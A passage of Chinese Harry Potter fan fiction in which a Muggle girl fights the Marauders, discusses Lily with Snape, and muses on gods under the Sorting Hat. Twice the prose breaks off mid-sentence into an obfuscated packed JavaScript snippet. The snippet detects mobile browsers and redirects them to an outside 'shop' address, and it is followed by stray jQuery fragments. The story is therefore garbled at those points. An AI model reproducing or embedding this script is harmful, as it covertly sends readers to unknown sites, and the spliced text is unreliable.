拉文克劳们面面相觑。 “这是……数学?” “麻瓜的数学?” “这是麻瓜的博士生数学吧?” “谁会证这个?” 没有人会。 一群拉文克劳或坐或站,挤在走廊里,拿着纸笔计算着、勾画着,眉头紧蹙,不时交流一番。有几个七年级的已经画了十几页草稿纸,额头冒汗。一个五年级的女生蹲在角落里,抱着脑袋喃喃自语“实部1/2实部1/2”。 弗立维教授被叫来的时候,看到的就是这个场景。 他悬浮在半空中,努力够到门环的高度,用他那尖细的嗓音问:“发生了什么?” 门环的声音沮丧又疲惫:“有人……问了一个问题。” “什么问题?” 门环复述了一遍,然后弗立维教授也沉默了。 他落回地面,看着那群眼巴巴望着他的学生,叹了口气:“今晚,大家先去礼堂凑合一晚吧。这个问题……我明天问问校长。” 走廊里响起一片哀嚎。 而某个罪魁祸首,此刻正卷着被子,躺在格兰芬多塔楼一间空女生宿舍的柔软红色大床上,睡得香甜。 深藏功与名。 20. 是她 17. 第二天一早,不用早八的阿斯特丽德睡到了十点多才起。 她穿着家养小精灵提供的睡衣——一套柔软的、绣着霍格沃茨校徽的棉质套装——站在窗边伸了个懒腰。阳光从高窗倾泻进来,落在她白金色的头发上,把那些乱翘的呆毛照得发亮。窗外传来隐隐约约的喧哗声,大概是哪个学院在上飞行课。 她打了个哈欠,转身去洗漱。 盥洗室里有一面落地镜,镶着精致的银色边框,镜面光洁得像一潭静水。阿斯特丽德站在镜子前,开始每日不辍的保留节目。 “魔镜魔镜,请你告诉我,”她撩了撩头发,用一种戏剧化的咏叹调说,“谁是格兰芬多最美丽的女生?” 镜面微微波动了一下,然后一个懒洋洋的声音响起:“……我说过了。莉莉·伊万斯。” 阿斯特丽德撩头发的动作一顿,斜了魔镜一眼:“那谁是霍格沃茨最美丽的女生?” 镜面波动得更明显了,那声音里带上了一丝不耐烦:“啧……怎么还不死心呢?莉莉·伊万斯。同一个人。同一个答案。需要我用八种语言重复一遍吗?” 阿斯特丽德把头发扎到脑后,开始刷牙。她满嘴泡沫,含糊不清地说:“再给你最后一次机会——谁是这个盥洗室最美丽的女生?” 魔镜光洁的镜面痛苦地扭曲了一瞬。它沉默了几秒,然后用一种毫无生气的、仿佛被逼良为娼的语气说:“你。杜兰特。” 那个名字说出来的时候,仿佛烫嘴似的,每个音节都带着不情愿的含糊。 阿斯特丽德吐掉嘴里的泡沫,擦干净脸,满意地点点头。她打开床头柜上那瓶润肤霜——她常用的那些都留在蜘蛛尾巷了,这一瓶是昨天托埃弗里从斯莱特林寝室拿出来的、她之前送给斯内普的那一瓶。 从分量上来看,他大概只用过一两次。 一整年了,只用过一两次。 阿斯特丽德一边抹着眼尾,一边探究地问:“莉莉真的是校花?” 魔镜似乎已经破罐子破摔了,放弃了那些看不见的操守和原则,用一种“既然你都这么问了那我就说吧”的语气回答:“这几年里,她的确是。” 这几年? 阿斯特丽德眼睛睁大了些,凑得更近,几乎要把鼻子贴到镜面上,“具体说说?” 魔镜像是终于被PUA完成了一样,贴心地转了转身子,调整角度,给她打着光,照亮她的面容。 “准确地说,”它的声音变得神秘兮兮的,“有那么一位千百年来排在榜首的,谁都比不过。” 阿斯特丽德的眼睛亮了起来:“哇哦,是什么绝世大美人啊?” 魔镜用一种幽幽的、近乎咏叹调的口吻吐出那个名字:“萨姹。” 阿斯特丽德愣了一下,然后像粉丝看到偶像被提名了什么含金量十足的奖项一样,兴奋地追问:“真的啊?还真有这么个人?” “嗯,不是人,是神。”魔镜故意停顿了一下,又补充道,“很神的神。” 它确信阿斯特丽德听不出自己话里的暗讽和蛐蛐,并且在心里默默地补了一句:还很自恋呢。 阿斯特丽德心情很好。她最后照了照镜子,确认自己收拾妥当,然后走出盥洗室。 经过公共休息室时,她跟胖夫人互道了早安,又夸赞了她的歌声和气色——胖夫人今天穿着一件粉紫色的新袍子,看起来心情不错——然后才慢悠悠地往医疗翼走去。 她走得很慢,边走边看墙上的画像,偶尔停下来跟某位好奇的老先生聊两句。看得出来,她非常享受这种悠闲的早晨。 但很不幸,这种悠闲在拐过某个走廊拐角时戛然而止。 四个人堵在前面的过道里。 那姿态,那表情,那副“我们是来找茬的”的欠揍气场——劫掠者。 “哟。”布莱克第一个开口,那双灰眼睛里闪着不怀好意的光,“看看这是谁?鼻涕精的麻瓜朋友?”他的目光从上到下,从左到右,把她打量了一遍。 詹姆站在他旁边,面色同样不善。卢平保持沉默,靠在墙上,看不出在想什么。小矮星彼得则躲在最后,但那双小眼睛忍不住使劲看她,目光像要粘在她身上一样。 阿斯特丽德一脸迷茫,那双烟紫色的眼睛里写满了无辜:“谁是鼻涕精?” 詹姆和布莱克对视一眼,坏笑着解答:“就是那个——”詹姆拖长了调子。 布莱克接过来,语气欢快得像在介绍一个笑话:“臭烘烘的——” “油腻腻的——” “蜘蛛尾巷的——” 阿斯特丽德的手伸进口袋里。再拿出来的时候,她手里多了一个小瓶子。和五年级末,斯内普扔出去的那个,一模一样的小瓶子。 她笑着又问了一遍:“谁是鼻涕精?” 四个人面色同时一变。 詹姆反应最快。他的魔杖已经举了起来,一个干脆利落的飞来咒脱口而出。 那个小瓶子从阿斯特丽德手里飞出去,稳稳地落进詹姆的手里。 阿斯特丽德愣住了。她倒是没想到会这样。 可恶的巫师! 她在心里懊恼地骂着。这帮人完全不按她预期的来——他们应该害怕,应该后退,应该被她这个小瓶子震慑住才对。怎么还能抢呢? 詹姆得意洋洋地把瓶子举高,对着阳光端详了一下,然后故意跟伙伴们大声说:“一会儿把这个加在鼻涕精的饭里怎么样?” “哦,哥们儿,”布莱克咧嘴大笑,“我觉得直接倒在他嘴里更好,帮他洗洗嘴巴。” 接着是一阵肆无忌惮的笑声。 不远处,渐渐围过来几个格兰芬多的学生,大概是听到动静过来看热闹的。一个红头发的身影也正从楼梯方向上来——莉莉·伊万斯。 她皱着眉,像是想要开口喝止。但听到“鼻涕精”三个字后,她的嘴又紧紧闭上了,像是在忍着什么。 阿斯特丽德收回目光,面无表情地看着对面那两个笑得最欢的人:“别笑了。你女神来了。”她用下巴示意楼梯口方向。 詹姆和布莱克果然下意识地扭头去看。 就是现在。 阿斯特丽德弯下腰,像一头冲向斗牛士的小牛犊,用尽全身力气朝詹姆撞过去。 詹姆被撞得一个踉跄,还没反应过来,就感觉到一个膝盖狠狠顶在了他身体某个不可描述的部位——那个刚换了假货不久的部位。 他的脸瞬间白了。 与此同时,阿斯特丽德的左手拼命去够那个瓶子,右手伸出食指和中指,直直地朝布莱克的眼睛插去。 纯血贵族出身的詹姆和布莱克,从小到大经历过的“打斗”都是巫师式的——优雅地挥动魔杖,念出咒语,最多在决斗时侧身躲闪。他们从没经历过这种打法。 横冲直撞,贴身肉搏,插眼睛顶膝盖——这什么邪门歪道? 小矮星和卢平也看呆了。 莉莉更是一脸震撼。她站在楼梯口,嘴巴微张,看着那个麻瓜女孩以一种完全不符合任何决斗礼仪的方式,在地上和两个巫师滚成一团。 阿斯特丽德才不管什么礼仪。她只需要达到目的,抢回那个小瓶子就行。 而且,为了防止这四个人故技重施,她一抢回瓶子,就远远地往无人的角落里一抛。 那个角落的地板瞬间融出一个边缘光滑的、黑漆漆的大洞。 无烟,无味,无声。 围观的人都倒抽一口冷气。 莉莉紧皱着眉头。 阿斯特丽德拍拍手上的灰,一副“看你能把我怎么样”的姿态。然后她往地上一坐,扯开嗓子就嚎:“打人啦——!巫师迫害麻瓜啦——!霍格沃茨还有没有王法啦——!魔法部管不管啊——!” 那声音,那调子,那抑扬顿挫的哭腔,活脱脱一个在菜市场撒泼打滚的寡妇。 她才不管体不体面,合不合理。 她是伤患的家属,是被邀请来照顾朋友加做客的,那霍格沃茨就有保证她安全的义务。打不过的情况下,把事情闹大才是最好的。纯血家族一手培养的继承人就算再混蛋,骨子里的教养和体面还是无法剥离的。 所以,对付詹姆和布莱克,不要脸、不守规则就对了。 果然。 不出两分钟,一道墨绿色的身影就出现在走廊尽头——麦格教授。她的脚步飞快,长袍在身后猎猎作响,那张严肃的脸上乌云密布。 “怎么回事?”她的声音像冰刀,目光从地上坐着的阿斯特丽德扫到脸色苍白的詹姆,又扫到捂着眼睛的布莱克。 阿斯特丽德抽抽搭搭地指着那四个人:“他们……他们抢我东西……还威胁说要伤害我的朋友……还……还骂人……” 詹姆张嘴想辩解,但麦格教授一抬手,他就闭上了嘴。“波特先生。布莱克先生。”麦格教授的声音冷得像十二月的风,“我觉得你们需要跟我去一趟校长办公室。现在。” 她又转向围观的学生们:“都散了吧。” 人群渐渐散去。 麦格教授转过身,看着地上那个还在抽泣的女孩,表情略微松动了一点。“杜兰特小姐,”她的语气虽然依然严肃,但比刚才对波特说话时柔和了不少,“你没事吧?需要去医疗翼检查一下吗?” 阿斯特丽德摇摇头,从地上爬起来,拍了拍麻瓜长裤上的灰,“我没事,教授。就是……吓了一跳。” 麦格教授点点头,目光在她身上停留了片刻,传达出“我知道你在演戏但我选择不拆穿”的了然。“以后遇到这种情况,第一时间找教授。不要自己动手。” “好的,教授。”阿斯特丽德乖巧地点头。 麦格教授带着那四个人走了。 阿斯特丽德站在原地,看着他们的背影消失在走廊尽头。然后她转过头,朝不远处一个画框挥了挥手。 那个画框里,胖夫人正一脸“我帮你通风报信了哦”的得意表情,冲她眨了眨眼。 阿斯特丽德笑了笑,又抬头看向走廊上方。 血人巴罗正从天花板的方向飘过来。 他的身影半透明,银白色,带着一股淡淡的寒意。那双凹陷的眼睛从高处俯视着她,脸上看不出表情。 但阿斯特丽德知道,他刚才肯定也是想过来帮忙的。 她冲他敬了个礼——手指并拢,碰了碰额头。 “Respect。”她说。 血人巴罗的表情滞了一瞬,那双凹陷的眼睛里闪过一丝难以捉摸的光。然后他僵硬地点了点头,转身朝另一个方向飘走了。 阿斯特丽德摇头晃脑地叹了口气:“唉,千年的情圣啊。” 她继续往医疗翼走。 路过莉莉·伊万斯身边时,她没有停留,只是微微点了点头,算是打了个招呼,然后就径直走了过去。 身后,那些指指点点的议论声她自然听得见。 “就是她?斯内普的朋友?” “刚才那是什么打法……太野蛮了……” “把地板融了个洞,你看到了吗?就那个小瓶子……” “波特他们抢了她的东西,她才反击的吧……” 阿斯特丽德充耳不闻。 那又怎样? 谁规定了打架就一定是拼武力值?战况不同,敌我力量不同,打法自然不同。一个猴一个拴法嘛。杀人诛心和玩赖耍诨一样是有效的手段。 有用就行。 她一边自我安慰,一边推开医疗翼的门。 斯内普今天拆了一层脸上的纱布,稍微露出点颧骨和鼻梁,还有下巴上新生的皮肤——粉嫩嫩的,像刚出生的老鼠,和她平时见惯的那张苍白的脸反差巨大。 斯内普看着她走进来,目光刚落到她身上,眉头就忍不住蹙了起来,“头发被猫头鹰抓了?还是说你在走廊里跟巨怪打了一架?衣服皱成这样——蜘蛛尾巷的流浪猫看了都要摇头。” 阿斯特丽德在椅子上坐下,拿起床头柜上他留给她的那半份早餐——烤面包,煎蛋,还有一小碟果酱——慢慢吃起来。 “碰见劫掠者了。” 斯内普跟一级警报启动似的,脖子抻得老长,那双黑眼睛从上到下把她扫了一遍。 “挨揍了?” “没有。”阿斯特丽德咬了一口面包,嚼了几下咽下去后说,“他们抢我的瓶子,我就……撞过去了。” 斯内普的嘴角抽了抽——那个刚脱离绷带的嘴角,抽了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334590|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个清晰的弧度。 “撞过去了。”他语气平板地重复了一遍这个词,“波特和布莱克,两个纯血家族花了十几年时间用决斗礼仪和优雅咒语培养出来的继承人,你用‘撞过去了’对付他们。”话音落下,那双黑眼睛里闪过幸灾乐祸,讽刺,以及近乎欣慰的情绪。 “效果怎么样?” 阿斯特丽德想了想:“膝盖顶了他的假幻肢,手指插了布莱克的眼睛。效果……应该还行?” 斯内普轻轻哼了一声,颇有种“干得漂亮但我不说”的意味。 “下次,”他的语气依然干巴巴的,“撞的时候可以加点角度。波特的平衡感一向不好。还有,插眼睛之前先晃一下,布莱克的反应太快,你得让他猜不到你的方向。” 阿斯特丽德挑眉:“你这是在教我打架?” “我在教你如何在不被关进阿兹卡班的前提下对付两个脑子被巨怪踩过的蠢货。”斯内普纠正她,声音里带着一丝不耐烦,“这两件事是有区别的。” 阿斯特丽德点点头,又咬了一口面包。她嚼着嚼着,忽然轻声说:“我看见伊万斯了。” 斯内普的表情僵了一瞬。 那一瞬间,他脸上的所有线条都凝住了。痛苦,懊悔,以及不自在,都渐渐弥漫上眼尾唇角。 他沉默了好一会儿,才慢吞吞地吐出一个词:“她……” 阿斯特丽德看着他,心里像被轻轻刺了一下。但她面上没有表露出来,只是继续用那种随意的语气说:“她本来想帮我出头,但后来忍住了。” 斯内普的目光移向窗外。窗外的天空灰蒙蒙的,和蜘蛛尾巷的很多天一样。 “她……”他又说了半个词,然后停住。半晌,他才继续说下去,声音比刚才更低,更涩:“她不应该忍的。她从来都不应该忍的。” 阿斯特丽德看着他。看着他那双望向窗外的眼睛,以及那里面复杂得让人看不清的东西。她忽然觉得,这个人,真的很笨。 笨得让人不知道该拿他怎么办。 她吃完最后一口面包,擦干净嘴和手,然后看着他。 “西弗勒斯。” 斯内普的目光从窗外移回来,落在她脸上。 “在意一个人,才会对他造成的伤害如此无法释怀。”她轻声说,“因为在意,所以才会受伤;因为有期待,所以才会失望。” 她叹了口气:“不管莉莉·伊万斯对你的感情是什么,但我觉得——她是在意你的。” 斯内普愣住了,眼睛里有什么东西在震颤。他的嘴张了张,又闭上了。他不知道该说什么,也不知道该不该相信这句话,更不知道信了之后,自己能做什么。 他只能看着阿斯特丽德,看着那双烟紫色的眼睛,尤其是她脸上那种平静的、笃定的表情。 她为什么这么笃定? 她凭什么这么笃定? 他想问,但问不出口。 “不过,西弗勒斯,”阿斯特丽德继续说,没管他是不是在听,愿不愿意听,“我还有个问题憋在心里很久了。” 斯内普等着她的下文。 “如果有那么一个女孩,也有漂亮的红色头发,绿色眼睛,长得跟伊万斯一模一样。甚至连性格和对待你的态度都一样,说的话也差不多。那么,你会爱上这个女孩吗?” 斯内普的眉头皱了起来。 “比如喝了复方汤剂后模仿伊万斯模仿得惟妙惟肖的女孩。”阿斯特丽德继续说,“她什么都和伊万斯一样。只有灵魂不一样。” “你会爱上吗?” 斯内普的眉头皱得更紧了。这个问题——她为什么要问这个问题?这个问题有什么意义?这个世界上不会有两个一模一样的人,不会有喝了复方汤剂来模仿莉莉的人—— 但他心里,有一个声音在说:如果有呢? 如果有一个和莉莉一模一样的人,从外貌到性格到说话方式,什么都一样,只有灵魂不同—— 他会爱上吗? 他想着那个画面,想着那张脸,那双绿眼睛,那一头红发——然后他忽然发现,自己脑海里浮现的那个画面,开始变得模糊。 那张脸,慢慢地,慢慢地,变成了另一张脸。 白金色头发,烟紫色眼睛。 他猛地回过神来。 那是什么? 他摇了摇头,把那个画面甩出脑海。那只是对好朋友的关心,是对互帮互助情谊的投射。没有别的意思。 他重新看向阿斯特丽德,看着那双等着他回答的眼睛。 “你爱的是那样存在着的一个人,”阿斯特丽德的声音很轻,像是在问一个她自己也不确定该不该问的问题,“还是……就是莉莉·伊万斯?” 很长很长的沉默。 长到阿斯特丽德投在墙壁上的影子都挪了一格,斯内普艰涩的声音才传过来:“我爱的……” 不是那个长相,不是那个声音,不是那些特质。是她。是那个九岁那年出现在他生命里的、毫无芥蒂地对他笑的女孩。是那个在他告诉她“我是巫师”时没有嘲笑他的女孩。是那个愿意和他做朋友、愿意听他说话、愿意跟他分享魔法秘密的女孩。 是她。是莉莉·伊万斯这个人。是她的灵魂。 他轻轻抬起手,手指微微颤抖。嘴唇轻启,念出一个咒语:“呼神护卫。” 银白色的光芒从他杖尖涌出。紧接着,光芒越来越亮,越来越凝实,最后在病房中央凝聚成一个清晰的身影—— 一头银白色的牝鹿。 它优雅地站在那里,修长的腿,优美的脖颈,巨大的鹿角上闪烁着星星点点的光。它转过头,温顺地蹭了蹭斯内普的手背,那双眼睛温柔得像月光。 阿斯特丽德又愣住了。她不知道这是什么,她从没见过这个。但她被那个美丽的银白色生物吸引住了目光。 “这是什么?”她的声音放得很软,很轻,像是怕惊跑它,“它真可爱……” 她伸出手,小心翼翼地想去碰。 斯内普看着她,看着她那双亮晶晶的、充满惊奇的眼睛,看着她伸向守护神的那只手。目光也缓缓落在那只银白色的牝鹿身上。 他的声音轻得像一声叹息:“是她。” 21. 为什么要有神? 18. “是她。” 阿斯特丽德从离开医疗翼到去往校长办公室的路上,一直在脑海里反复咀嚼这两个词。 她就不该问。 你说说,问了能有什么好?除了让本就脆弱的心脏嘎巴一下裂开一道口子,还得到什么了?啊? 得到一只银白色的、会发光的、长得还挺好看的鹿。然后那只鹿告诉她:这是莉莉.伊万斯。 哈。 她猛猛吐槽着自己,企图以此来掩盖那些不断滋生出来的酸涩情绪。那情绪像藤蔓一样,从心底某个角落悄悄地、固执地往上爬,爬得她胸腔里又闷又堵。 至少说明他是个一心一意的人,不容易见异思迁? 屁。 他就是个木头!朽木不可雕的那种。 她恨他是块木头。 带着这样怨念深重的腹诽,阿斯特丽德来到了走廊尽头的那只巨大石兽跟前。她想了想庞弗雷女士告诉她的口令,清了清嗓子:“山楂雪梅糖。” 石兽原本狰狞的面孔变得柔和,身体向两边分开,就像一扇被从中间劈开的门。后面露出一道旋转的石头楼梯,那楼梯缓缓地、自动地向上旋转,仿佛一条正在苏醒的石蛇。 阿斯特丽德踏上第一级台阶。楼梯载着她向上攀升,周围的墙壁上挂满了画像——历任校长的肖像,有的在打盹,有的在好奇地打量她,还有几个凑在一起窃窃私语。她听见“麻瓜”、“那个女孩”、“布莱克家的”之类的词飘进耳朵。 她静静地站着,没有理会那些私语,任由楼梯把她带到一扇华丽的橡木门前,然后敲门进去。 “午安,校长先生。” 邓布利多坐在那张巨大的书桌后面,半月形眼镜后面的蓝眼睛温和地看向她。他穿着一件深紫色的长袍,上面绣着银色的星星,那星星还在缓缓移动,像有生命一样。 “午安,杜兰特小姐。”他的声音像融化的蜂蜜,温暖而舒缓,“请坐。” 他轻轻挥了挥手,一把椅子从旁边滑过来,正好停在她身后。他又挥了挥手,桌上那盘山楂雪梅糖里飞出两颗,一颗落在他自己面前,一颗落在她面前。 阿斯特丽德盯着那颗糖。 所以,校长办公室每日的口令就是当日招牌菜? 她礼貌地笑了笑,在椅子上坐下,拿起那颗糖,拆开包装,放进嘴里。山楂的酸甜在舌尖化开,糖分刺激着多巴胺的分泌,稍稍填补了一点刚才心里的空缺。她的面色缓和了一些,眼睛里那层薄薄的阴翳散去了些许。 “你似乎遇到了什么难题?杜兰特小姐。”邓布利多温和地问。 阿斯特丽德刚要摇头张口,就感觉到背后有无数道视线落在自己身上——探究的,感兴趣的,好奇的,还有一道格外强烈的、像要把她看出两个洞的目光。 “没什么,”她说,“只是弄清楚了一些人生小课题。” 她把话说完,然后回过头,看向那些画像。画像们有的立刻移开目光,假装在看别处;有的迎上她的视线,微微点头;还有几个凑在一起,对着她指指点点。 她的目光与其中一道格外强烈的视线对上——那是一个精瘦的老年男巫,穿着一件考究的黑色长袍,脸上写着一种复杂的、难以言说的表情。 像是敢怒不敢言? “哦,那是布莱克校长,”邓布利多的声音适时响起,带着若有若无的风趣意味,“西里斯·布莱克的曾曾祖父。” 阿斯特丽德觉得他没必要这么贴心介绍。 多尴尬啊。 遇到不对付的同学的家长了,还是掌管他家祖坟是否冒青烟的那位。 咦?也不对。她才不是西里斯·布莱克的同学——她是同学家属,约等于斯内普的家长了。 这么一想,她心里那股尴尬劲儿散了不少。 “您好,布莱克校长。”她再次转过头,以平辈的心态跟菲尼亚斯打招呼,语气自然得像在问候邻居家养的那只不爱搭理人的老猫。 然后她自然而然地略过了那件事。 她打赌他不好对着个小丫头说那些话,提那些词。那她就可以当什么都没发生,继续心平气和地完成接下来的对话,而非如坐针毡。 菲尼亚斯的嘴角抽了抽,最终只是僵硬地点了点头。 阿斯特丽德转回头,面对邓布利多。对话进行得很顺利。 邓布利多和蔼地询问这两天在城堡里转悠得还开心吗?跟画像和门环交流得还愉快吗?霍格沃茨有没有招待不周的地方。 阿斯特丽德一一按照社交辞令回答了,并由衷称赞了这座城堡的奇妙与瑰丽。她说它是值得巨龙守护的宝藏,那些会动的画像和会说话的幽灵让她大开眼界,家养小精灵的手艺比她吃过的任何一家餐厅都要好。 当然,她也听出来了——邓布利多点她呢。 你是不是有什么不满?可以说出来,而非再去搅得校园不得安宁。 她挺有摸爬滚打练就出来的眼色的。毕竟在蜘蛛尾巷那种地方长大,不会看脸色的人早就被人卖了还帮着数钱。 她当即又笑眯眯地补充了一句:“不得不说,您把学校治理得很好。真希望我的好奇没有给您和您的教职工带来太多困扰。” 邓布利多的蓝眼睛里闪过一丝笑意:“麦格教授跟我说,她活了几十年,第一次见到有人能把波特和布莱克打得那么狼狈——用的还是麻瓜的招式。她说那场面‘令人印象深刻,虽然不太符合决斗礼仪’。” 阿斯特丽德含着糖眨了眨眼。 “弗立维教授今天早上来见我,”邓布利多继续说,嘴角的弧度更大了一点,“他问我知不知道一个关于黎曼ζ函数的答案。因为他的学生们昨晚被挡在公共休息室外面整整一个晚上,至今还有几个七年级的在试图证明那个问题。” 阿斯特丽德的嘴角抽了抽。 “还有胖夫人,”邓布利多叹了口气,但仍带着挥之不去的笑意,“她今天一早上跟我抱怨了五次,说为什么学校的通道入口不能装修得更体面一点。她守了上百年的门,第一次意识到那个‘洞’有多不尊重女性。” 阿斯特丽德低下头,努力忍住笑。 “所以,”邓布利多总结道,“确实有一些困扰。但我也得承认,你这几天给这所学校带来了很多……新鲜的生机。胖夫人已经很久没有这么活跃过了。拉文克劳的门环也很多年没有遇到过能和它连续互问半小时以上的人。”那双蓝眼睛里闪着促狭的光:“虽然它现在可能有点……用脑过度。” 阿斯特丽德终于没忍住,笑了出来。 寒暄过后,邓布利多像给来家里做客的小朋友介绍好玩的玩具一般,指向角落里那个玻璃柜。柜子里放着一顶帽子——皱巴巴的,满是补丁,看起来又旧又破,像是被遗忘了几个世纪。 “想试试这顶会说话的帽子吗?”他慈爱地问,“我得说,它算得上这座城堡里的宝藏之一。” 阿斯特丽德期待又新奇地看着他手里那顶旧帽子。她喜欢尝试一切有趣又奇妙的魔法物品。秉着“来都来了”的心态,她弯着眼睛站起身,雀跃地等待邓布利多把帽子拿出来。 邓布利多打开玻璃柜,取出那顶帽子,轻轻抖了抖。帽子打了个哈欠,然后被他戴在阿斯特丽德的头上。 画像们都屏住了(并不存在的)呼吸。福克斯在栖木上歪着脑袋,那双黑豆一样的眼睛安静地注视着帽檐下那半张脸。 帽子开始扭动。 它扭得很厉害,像被烫了屁股一样,在阿斯特丽德头上转了好几圈。过了一会儿,它才镇定下来,一个苍老的声音在她脑海里响起:“欢迎来到霍格沃茨,美丽的麻瓜小姐。” 阿斯特丽德在心里说:“嘿,你好,帽子先生。” “唔……”分院帽的声音带着点玩味,“你的小脑袋瓜里真是充满了奇思妙想。” “感谢您的肯定,”阿斯特丽德礼貌地说,“您也是如此神奇。真是伟大的造物。” “让我看看……”分院帽继续在她脑海里翻找,“干翻蜘蛛尾巷,走上人生巅峰?” 阿斯特丽德隐藏在帽檐下的脸露出一抹尴尬的表情。 “呃……那是……” “迎娶斯内普,走向人生巅峰?”分院帽的语气更玩味了。 “!!!”阿斯特丽德很想捂住帽子的眼睛——如果她知道它眼睛在哪的话。 分院帽还在继续,像在翻一个装满了杂物的旧箱子:“……如果神有KPI,那么死神一定是业绩超标且最轻松的那个?” 终于来了个正经点的话题。 阿斯特丽德赶紧抓住这个契机,企图扭转自己的中二形象,以期显得自己是个很有文化、很有思想的麻瓜。 “您不觉得吗?”她在心里说,“人们自古以来始终敬畏如一的神明,其实是死神。其他神祇——太阳神、月亮神、丰收神、爱神——不同种族、不同文化各有各的信仰和救赎。但死神是唯一不变的、始终被敬畏的存在。无论你信什么,无论你在哪里,死亡是共同的终点。” 分院帽沉默了一会儿,似乎在品味这番话。 “继续说。”它说。 阿斯特丽德的思维像被打开了闸门,那些平日里在脑海里偶尔闪过、从未与人分享过的念头,此刻一个接一个地涌了出来。 “还有,”她说,“所谓的‘正义’,真的存在吗?即便是代表正义的神,也只是站在绝大多数利益的一方,而非绝对正确的一方。比如专司战斗的萨姹——那本书里写的——她消灭的敌方力量,难道就不是生灵的一种吗?那些被她斩杀的,或许也有自己的信仰,自己的家人,自己活下去的理由。但在‘正义’的旗帜下,他们的死亡就被定义成了‘应该’。” 分院帽没有打断她。 “各种神代表并维护的力量,”阿斯特丽德继续说,“是不是也是为了维护自己存在的意义?当失去信徒,不被仰赖,那个神是不是就会陨灭?所以神制定并维持的秩序,真的都是正确的吗?还是只是为了让自己继续存在下去?” 她的思维越走越远,像一条不断分岔的河流。 “接受供奉甚至献祭才出来干活的神,是出于什么心理?‘一分钱一分货,拿钱办事’?还是为了维持自己存在的循环体系——显灵起作用,得到信奉,维持自身存在的能量和意义,继续干活,得到供奉,如此循环?” “所以,神为了什么而存在?存在的初衷,真的只是为了维护他们口中宣扬的那些信条和使命吗?比如保护人类?如果不保护,就让人类自生自灭,让生灵自生自灭,让地球就是个球,跟火星木星没什么两样——是不是也挺好的?” 她的思维继续蔓延。 “甚至让宇宙就是宇宙,只有物质体存在,万籁俱寂、亘古不变地旋转着——是不是也挺好的?没有生命,就没有痛苦;没有意识,就没有挣扎;没有存在,就没有消亡。” 她忽然意识到自己走得太远了,于是停下来,在心里问自己:这样的想法是不是太消极悲观?算是虚无主义吗?如果一个神抱有这样的思想,算是对其他生灵的残忍吗? 不。她在心里否定自己。 如果从来就不曾存在,那“不存在”本身就不是残忍的。残忍是对存在的生灵而言的。对从未存在过的东西来说,没有残忍可言。 她静静由着分院帽在自己的脑瓜里翻找,像翻一个装满了各种稀奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334591|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古怪念头的垃圾箱。那些平日里偶尔闪过、从未认真梳理过的思维火花,此刻被一一点亮,呈现在那个古老帽子的“眼前”。 她期待着一个回应,一个交流,一个可以探讨或延伸的答案。 但分院帽只是咂了咂嘴,没有给出答案。 创始人给它注入的魔力,不够分析拆解这些深奥的辩证问题。它不再扭动,只是对着邓布利多微微欠身:“一个……”它停顿片刻,似乎在找一个合适的词,“危险的斯莱特林。” 邓布利多的眉毛微微抬起。 阿斯特丽德没太明白这个评价意味着什么。 “嗯,感谢你的陈词,辛苦了。”邓布利多温和地说,伸手把分院帽从她头上取下来,放回玻璃柜里。 阿斯特丽德一脸懵。 这就完了?还没交流完呢。 她意犹未尽地看了看那顶帽子,又看了看邓布利多,但仍旧礼貌地笑了笑:“令人印象深刻的有趣体验。感谢校长先生和帽子先生。” 邓布利多也笑着看了一眼分院帽,语气里带着温和的调侃“它年纪大了,一般只能工作三十分钟。我想它此刻需要休息了。” 他看出阿斯特丽德的意犹未尽,又补充道:“如果你对音乐有兴趣的话,欢迎随时来这里跟它讨论创作。它会很高兴的。” 哦,唱K吗? 五音不全也可以吗? 那她可以来。 阿斯特丽德站起身,对着墙上的画像们微微欠身——一个得体的、无可挑剔的欠身,和血人巴罗那个动作如出一辙。 最后,她转向邓布利多,再次欠身:“感谢您的款待,校长先生。” 邓布利多微笑着点头,门在她身后关上。 校长室里安静了几秒。 邓布利多坐在书桌后面,目光落在玻璃柜里的那顶分院帽上。片刻后他伸出手,重新取出那顶帽子。 “说说吧。”他的声音很轻,“你看到了什么?” 墙上的画像们瞬间聚精会神。那些刚才还在装睡的,眼皮颤了颤;那些假装对画框感兴趣的,耳朵竖了起来。菲尼亚斯·奈杰勒斯·布莱克更是把身子往前倾,几乎要从画框里掉出来。 “她的脑子里,”分院帽的声音比刚才和阿斯特丽德对话时更缓慢,“有很多层。” “很多层?”邓布利多重复。 “第一层,是表面那些——”分院帽微妙地停顿了一下,“干翻蜘蛛尾巷,走上人生巅峰。” 邓布利多忍不住挑眉。 “第二层,”分院帽继续说,“迎娶斯内普,走向人生巅峰。” 菲尼亚斯发出一声嗤笑,但被邓布利多看了一眼,立刻收敛了。 “第三层……”分院帽的声音变得凝重了一些,“是对神性的思考。她问,为什么死神是唯一被普遍敬畏的神。因为无论信仰什么,死亡是共同的终点。” 邓布利多的蓝眼睛微微闪烁。 “第四层,”分院帽说,“是对‘正义’的质疑。她说,即便是代表正义的神,也只是站在绝大多数利益的一方,而非绝对正确的一方。比如萨姹——她消灭的敌方力量,难道就不是生灵的一种吗?” 画像们开始窃窃私语。 “第五层,”分院帽继续说,“是对神存在目的的追问。她说,神维护秩序,是不是为了维护自己存在的意义?当失去信徒,不被仰赖,神就会陨灭。所以神制定并维持的秩序,真的都是正确的吗?还是只是为了让自己继续存在下去?” 